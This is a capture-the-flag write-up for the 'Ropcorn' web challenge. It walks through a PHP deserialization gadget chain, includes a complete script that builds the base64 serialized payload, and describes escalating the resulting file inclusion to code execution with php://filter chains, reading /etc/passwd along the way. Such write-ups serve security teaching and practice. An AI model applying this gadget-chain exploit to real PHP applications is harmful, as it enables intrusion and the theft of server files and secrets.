Post

ICMTC CTF - Ropcorn

  • The challenge solved by 0x41ly and juba0x00
  • We can view source using ?src=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    <?php
    
    $checker = false;
    
    class ReadFileContent {
        function __construct($check,$var) {
            if ($check === "CERT") {
                exit;
            } else {
                $this->check = $check;
                $this->var = $var;
            }
        }
    
        function __toString() {
            return $this->check;
        }
    
        function __destruct() {
            global $checker;
            if ($this->check !== "CERT") {
                exit;
            } else {
                if ($checker) {
                    include($this->var.".php");
                }
            }
        }
    }
    
    class Helper {
        function __wakeup() {
            echo $this->msg;
        }
    
        function __toString() {
            global $checker;
            $checker = true;
            return (new ReadFileContent($this->msg,"temp"))->check;
        }
    }
    
    if(isset($_GET['src']))
        highlight_file(__FILE__);
    else
        echo '<a href="?src=">Source</a>';
    
    if(isset($_POST['data']))
        unserialize(base64_decode($_POST['data']));
    
    ?>

Code analyses of ReadFileContent class:

restrictions

  1. when constructing an object check must be not “CERT” to avoid exit
  2. when deconstructing check must be “CERT” to avoid exit
  3. checker global variable should be true, so we can include $this -> var .php file to exploit LFI

Bypasses

  1. Create ReadFileContent object with check not equals to CERT
1
$readFileContent = new ReadFileContent("nun", "index"); # check property is not CERT to avoid exit in line 9
  1. we need to change check property after creating the object and serialize the object with the new value equals to “CERT”
1
$readFileContent -> check = "CERT"; # change the check property to CERT, after finishing the constructor
  1. the only way to change the checker global variable is to call __toString() function in the Helper class like indicated here
1
2
3
4
5
function __toString() {
        global $checker;
        $checker = true; # will change the global varible to true 
        return (new ReadFileContent($this->msg,"temp"))->check;
    }

Code analyses of Helper class:

functions

  • there are two function
    1. __wakeup() is a magic method that is automatically called when an object of a class is being unserialized.
    2. __toString() is a magic method that allows you to define how an object should be converted to a string when it is treated as a string. It is automatically called when you try to use an object as a string, such as when you echo or concatenate it with another string.

Bypasses

  • __wakeup() will be auto triggered when unserializing Helper object and call __toString() function because it uses echo like indicated here
1
2
3
function __wakeup() {
        echo $this->msg;
    }

our goal

our goal is to make two conditions true when our readFileConetentobject auto trigger _destruct() function when before finishing the program to delete the object

  1. Success initializing of readFileContent object
  2. changing the check property to CERT so when _destruct() is called the condition is true
  3. we will create two helper objects the first will assign it’s msg property with out readFileContent object and the second will assign it’s msg with the first helper object, then we will serialize the helper object that hold all the other objects so we have a serialized helper object, when unserializing this object the __wakeup() function will be automatically triggered and will call __toString() which will help us changing checker value to true to successfully include our LFI

Objects illustration

  • We have illustrated this to make it easier to understand the serialized data

Untitled

  • another way to explain the object using JSON format to understand which object inside the other’s property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "helper1": {
    "msg": {
      "helper2": {
        "msg": {
          "readFileContent": {
            "check": "CERT",
            "var": "LFI payload"
          }
        }
      }
    }
  }
}

edited-ropcorn.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

$checker = false;

class ReadFileContent {
    function __construct($check,$var) {
        if ($check === "CERT") {
            echo "constrcut check == CERT ; exit\n";
            exit;
        } else {
            $this->check = $check;
            $this->var = $var;
        }
    }

    function __toString() {
        echo "readfilecontent __toString called\n";
        return $this->check;
    }

    function __destruct() {
        echo "\ndestructing\n";

        global $checker;
        if ($this->check !== "CERT") {
            echo "ReadFileContent destructor this -> check not CERT; exit";
            exit;
        } else {
            echo "almost done\n";
            if ($checker) {
                include($this->var.".php");
            }
            else{
                echo "checker is not ture :(";
            }
        }
    }
}

class Helper {
    function __wakeup() {
        echo "Helper wakeup called\n";
        echo $this->msg;
    }

    function __toString() {
        echo "helper to string called\n";
        global $checker;
        $checker = true;
        return (new ReadFileContent($this->msg,"temp"))->check;
    }
}

// Create ReaFileContent object
$readFileContent = new ReadFileContent("nun", "index"); # check property is not CERT to avoid exit in line 9
$readFileContent -> check = "CERT"; # change the check property to CERT, after finishing the constructor

// Create objects
$helper1 = new Helper();
$helper2 = new Helper();
$helper2 -> msg = $readFileContent;
$helper1 -> msg = $helper2;

// // Serialize the object
$serialized = serialize($helper1);
echo base64_encode($serialized) . "\n\n";

// Deserialize the object
$obj = unserialize($serialized); # Deserializing to test our payload, tesing local before on the server

?>
  • this is the script after editing it to make it easier to understand, make sure you create index.php file containing a flag

Untitled


exploiting LFI

  • we have tried many techniques to bypass “.php” extension such as:
    • null byte
    • Path Truncation
    • php filter wrapper
  • but we couldn’t bypass .php extension
  • the admin released a hint “the flag stored in the environment”, so we changed our mind to get an RCE instead of exploting LFI
  • php filter wrapper worked, but we could read index.php using php://filter/convert.base64-encode/resource=index
  • we used php_filter_chain_generator to bypass extension

reading /etc/passwd

Untitled

Screenshot_20230704_231036.png

getting the flag

Untitled

Screenshot_20230704_230920.png

Untitled

1
EGCERT{dfc7a7aff5420c1e4b2255b05ef57ef88c81c8de7556c64258c551f855633fdd}

  • I hope you found this write-up enjoyable and helpful.
This post is licensed under CC BY 4.0 by the author.